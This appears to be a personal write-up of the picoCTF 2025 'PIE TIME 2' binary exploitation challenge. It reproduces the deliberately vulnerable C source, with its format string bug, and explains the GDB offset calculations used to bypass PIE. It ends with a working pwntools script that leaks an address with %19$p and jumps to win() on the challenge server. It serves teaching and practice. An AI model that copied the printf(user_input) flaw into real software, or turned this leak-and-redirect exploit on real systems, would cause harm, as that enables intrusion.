PicoCTF 2025 Binary Exploitation —PIE TIME 2 Writeup

Welcome back to another one of my writeups! This time, I’ll be walking you through a detailed, step-by-step breakdown of how I successfully exploited PIE TIME 2 from picoCTF 2025, a binary exploitation challenge. I’ll cover my approach, the vulnerabilities I identified, the techniques I used to bypass protections, and the overall thought process behind crafting my exploit. Whether you’re new to pwn challenges or looking to refine your skills, this writeup will provide insights into tackling PIE-enabled binaries effectively. Let’s dive in and break this challenge down!
Code Analysis
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
This is the source code of the challenge. To make things short, this is the vulnerability in this code
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
Why? Why this is vulnerable?
If you analyze the this function carefully, you’ll see the printf(buffer) uses user input as a format string. This is a format string vulnerability, allowing stack data leaks with specifiers like %p or %x.
Based on our findings, our objective is clear: leak a memory address, calculate the correct offset for PIE (Position-Independent Execution), and successfully redirect execution to win().
By inserting %p into the “Enter your name:” prompt, I was able to leak memory addresses, confirming the presence of a format string vulnerability.
GDB Analysis
After executing the binary, I proceed to disassemble the main function to analyze its structure and behavior.

main() starts at 0x0000555555555400
Note that the call_functions() starts at 0x000055555555543c
After that I disassemble the win function.

win() starts at 0x000055555555536a
Next thing I did is to calculate the offset between main() and win().

The offset is 150 bytes, consistent across runs due to PIE’s relative positioning.
Finding the Leak Position
I execute the binary again to test some leaks and this is what I’ve found.

The 19th, 0x555555555441 looked promising. I checked main() again:

0x555555555441 is 65 bytes (0x41) into main() from 0x555555555400.
Adjust: 0x555555555441–0x41= 0x555555555400 (main base).
Why %19$p?
Format string vulnerabilities leak stack data starting from where printf()’s arguments would be.
The 19th stack position happens to hold a return address or pointer within main(), likely due to the call stack layout from main() to call_functions().
Calculation
Main Base: <Leaked_Address>-0x41 = result
Win: <Result_of_the_main_base> — 150 = <The address we need to jump into>
Exploitation
Here’s the exploit script I crafted using Python and Pwntools to take advantage of the vulnerability.
from pwn import *
# Connect to the remote server
p = remote("rescued-float.picoctf.net", 59354)
# Leak the address with %19$p
p.recvuntil(b"Enter your name:")
p.sendline(b"%19$p")
leak = p.recvline().decode().strip()
# Calculate win address
leaked_addr = int(leak, 16)
main_addr = leaked_addr - 0x41 # Adjust to main base
win_addr = main_addr - 150 # Offset to win
# Send win address
p.recvuntil(b"enter the address to jump to, ex => 0x12345:")
p.sendline(hex(win_addr))
# Print the flag
print(p.recvall().decode())
# Close connection
p.close()
After running our exploit here’s the result.

We’ve successfully exploited and pwned PIE TIME 2!!
Conclusion
The PIE TIME 2 challenge from picoCTF 2025 offered a compelling demonstration of exploiting a format string vulnerability in a PIE-protected binary. The critical flaw, found in the printf(buffer) call within the source code, allowed user input to leak stack data, exposing an address within main() via %19$p. This vulnerability was key to bypassing PIE, a security mechanism that randomizes the binary’s code base address each run. While PIE prevents hardcoded address attacks by shifting functions like main() and win(), the leak provided a dynamic reference point — specifically, an address 65 bytes into main(). Using GDB, I determined fixed offsets: 65 bytes back to main()’s base and 150 bytes further to win(), which prints the flag!!!
Last updated